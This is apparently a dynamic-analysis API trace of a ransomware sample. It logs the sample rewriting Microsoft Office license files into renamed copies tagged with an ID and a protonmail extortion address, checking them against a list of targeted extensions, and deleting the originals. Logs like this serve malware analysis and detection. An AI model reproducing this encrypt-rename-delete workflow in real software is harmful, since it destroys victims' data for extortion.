	[0191.113] SetEndOfFile (hFile=0x4ac) returned 1
	[0191.116] CloseHandle (hObject=0x4ac) returned 1
	[0191.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1
	[0191.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.972] lstrlenW (lpString=".doc") returned 4
	[0191.972] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.972] lstrlenW (lpString=".docx") returned 5
	[0191.972] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.972] lstrlenW (lpString=".pdf") returned 4
	[0191.972] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.972] lstrlenW (lpString=".xls") returned 4
	[0191.972] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.972] lstrlenW (lpString=".xlsx") returned 5
	[0191.972] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.972] lstrlenW (lpString=".ppt") returned 4
	[0191.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.973] lstrlenW (lpString=".zip") returned 4
	[0191.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString=".rar") returned 4
	[0191.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString=".bz2") returned 4
	[0191.973] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString=".7z") returned 3
	[0191.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.973] lstrlenW (lpString=".dbf") returned 4
	[0191.973] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.973] lstrlenW (lpString=".1cd") returned 4
	[0191.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.973] lstrlenW (lpString=".jpg") returned 4
	[0191.973] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString=".doc") returned 4
	[0191.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".docx") returned 5
	[0191.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.974] lstrlenW (lpString=".pdf") returned 4
	[0191.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".xls") returned 4
	[0191.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".xlsx") returned 5
	[0191.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.974] lstrlenW (lpString=".ppt") returned 4
	[0191.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString=".zip") returned 4
	[0191.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".rar") returned 4
	[0191.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".bz2") returned 4
	[0191.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString=".7z") returned 3
	[0191.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString=".dbf") returned 4
	[0191.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString=".1cd") returned 4
	[0191.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0191.974] lstrlenW (lpString=".jpg") returned 4
	[0191.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.975] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.975] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29
	[0191.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.976] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4392) returned 1
	[0191.976] CloseHandle (hObject=0x5c4) returned 1
	[0191.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220
	[0191.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.982] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.982] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0191.983] GetLastError () returned 0x0
	[0191.983] ReadFile (in: hFile=0x5c4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1128, lpOverlapped=0x0) returned 1
	[0191.985] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0191.986] ReadFile (in: hFile=0x5c4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.986] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0191.986] SetEndOfFile (hFile=0x5c8) returned 1
	[0191.986] CloseHandle (hObject=0x5c8) returned 1
	[0191.986] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.987] SetEndOfFile (hFile=0x5c4) returned 1
	[0191.990] CloseHandle (hObject=0x5c4) returned 1
	[0191.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1
	[0191.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.992] lstrlenW (lpString=".doc") returned 4
	[0191.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString=".docx") returned 5
	[0191.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.992] lstrlenW (lpString=".pdf") returned 4
	[0191.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString=".xls") returned 4
	[0191.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString=".xlsx") returned 5
	[0191.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.992] lstrlenW (lpString=".ppt") returned 4
	[0191.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.992] lstrlenW (lpString=".zip") returned 4
	[0191.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString=".rar") returned 4
	[0191.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.992] lstrlenW (lpString=".bz2") returned 4
	[0191.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString=".7z") returned 3
	[0191.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString=".dbf") returned 4
	[0191.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString=".1cd") returned 4
	[0191.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString=".jpg") returned 4
	[0191.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString=".doc") returned 4
	[0191.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString=".docx") returned 5
	[0191.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.993] lstrlenW (lpString=".pdf") returned 4
	[0191.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString=".xls") returned 4
	[0191.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString=".xlsx") returned 5
	[0191.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.993] lstrlenW (lpString=".ppt") returned 4
	[0191.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.993] lstrlenW (lpString=".zip") returned 4
	[0191.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.994] lstrlenW (lpString=".rar") returned 4
	[0191.994] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.994] lstrlenW (lpString=".bz2") returned 4
	[0191.994] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.994] lstrlenW (lpString=".7z") returned 3
	[0191.994] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.994] lstrlenW (lpString=".dbf") returned 4
	[0191.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.994] lstrlenW (lpString=".1cd") returned 4
	[0191.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0191.994] lstrlenW (lpString=".jpg") returned 4
	[0191.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.994] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25
	[0191.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.996] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4208) returned 1
	[0191.996] CloseHandle (hObject=0x5c4) returned 1
	[0191.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220
	[0191.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.997] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.997] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0191.997] GetLastError () returned 0x0
	[0191.998] ReadFile (in: hFile=0x5c4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1070, lpOverlapped=0x0) returned 1
	[0192.000] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1080, lpOverlapped=0x0) returned 1
	[0192.001] ReadFile (in: hFile=0x5c4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.001] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x106, lpOverlapped=0x0) returned 1
	[0192.001] SetEndOfFile (hFile=0x5c8) returned 1
	[0192.002] CloseHandle (hObject=0x5c8) returned 1
	[0192.002] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.002] SetEndOfFile (hFile=0x5c4) returned 1
	[0192.005] CloseHandle (hObject=0x5c4) returned 1
	[0192.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1
	[0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.007] lstrlenW (lpString=".doc") returned 4
	[0192.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".docx") returned 5
	[0192.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.007] lstrlenW (lpString=".pdf") returned 4
	[0192.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".xls") returned 4
	[0192.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".xlsx") returned 5
	[0192.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.007] lstrlenW (lpString=".ppt") returned 4
	[0192.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.007] lstrlenW (lpString=".zip") returned 4
	[0192.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".rar") returned 4
	[0192.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".bz2") returned 4
	[0192.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString=".7z") returned 3
	[0192.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.007] lstrlenW (lpString=".dbf") returned 4
	[0192.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.007] lstrlenW (lpString=".1cd") returned 4
	[0192.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.008] lstrlenW (lpString=".jpg") returned 4
	[0192.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.008] lstrlenW (lpString=".doc") returned 4
	[0192.008] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString=".docx") returned 5
	[0192.008] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.008] lstrlenW (lpString=".pdf") returned 4
	[0192.008] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString=".xls") returned 4
	[0192.008] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString=".xlsx") returned 5
	[0192.008] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.008] lstrlenW (lpString=".ppt") returned 4
	[0192.008] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.008] lstrlenW (lpString=".zip") returned 4
	[0192.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString=".rar") returned 4
	[0192.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.008] lstrlenW (lpString=".bz2") returned 4
	[0192.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.009] lstrlenW (lpString=".7z") returned 3
	[0192.009] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.009] lstrlenW (lpString=".dbf") returned 4
	[0192.009] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.009] lstrlenW (lpString=".1cd") returned 4
	[0192.009] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0192.009] lstrlenW (lpString=".jpg") returned 4
	[0192.009] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.010] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.010] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23
	[0192.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0192.012] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=20841) returned 1
	[0192.012] CloseHandle (hObject=0x5c4) returned 1
	[0192.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220
	[0192.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.393] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.393] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.651] GetLastError () returned 0x0
	[0192.652] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x5169, lpOverlapped=0x0) returned 1
	[0192.654] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0192.656] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.656] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x102, lpOverlapped=0x0) returned 1
	[0192.656] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.656] CloseHandle (hObject=0x5ac) returned 1
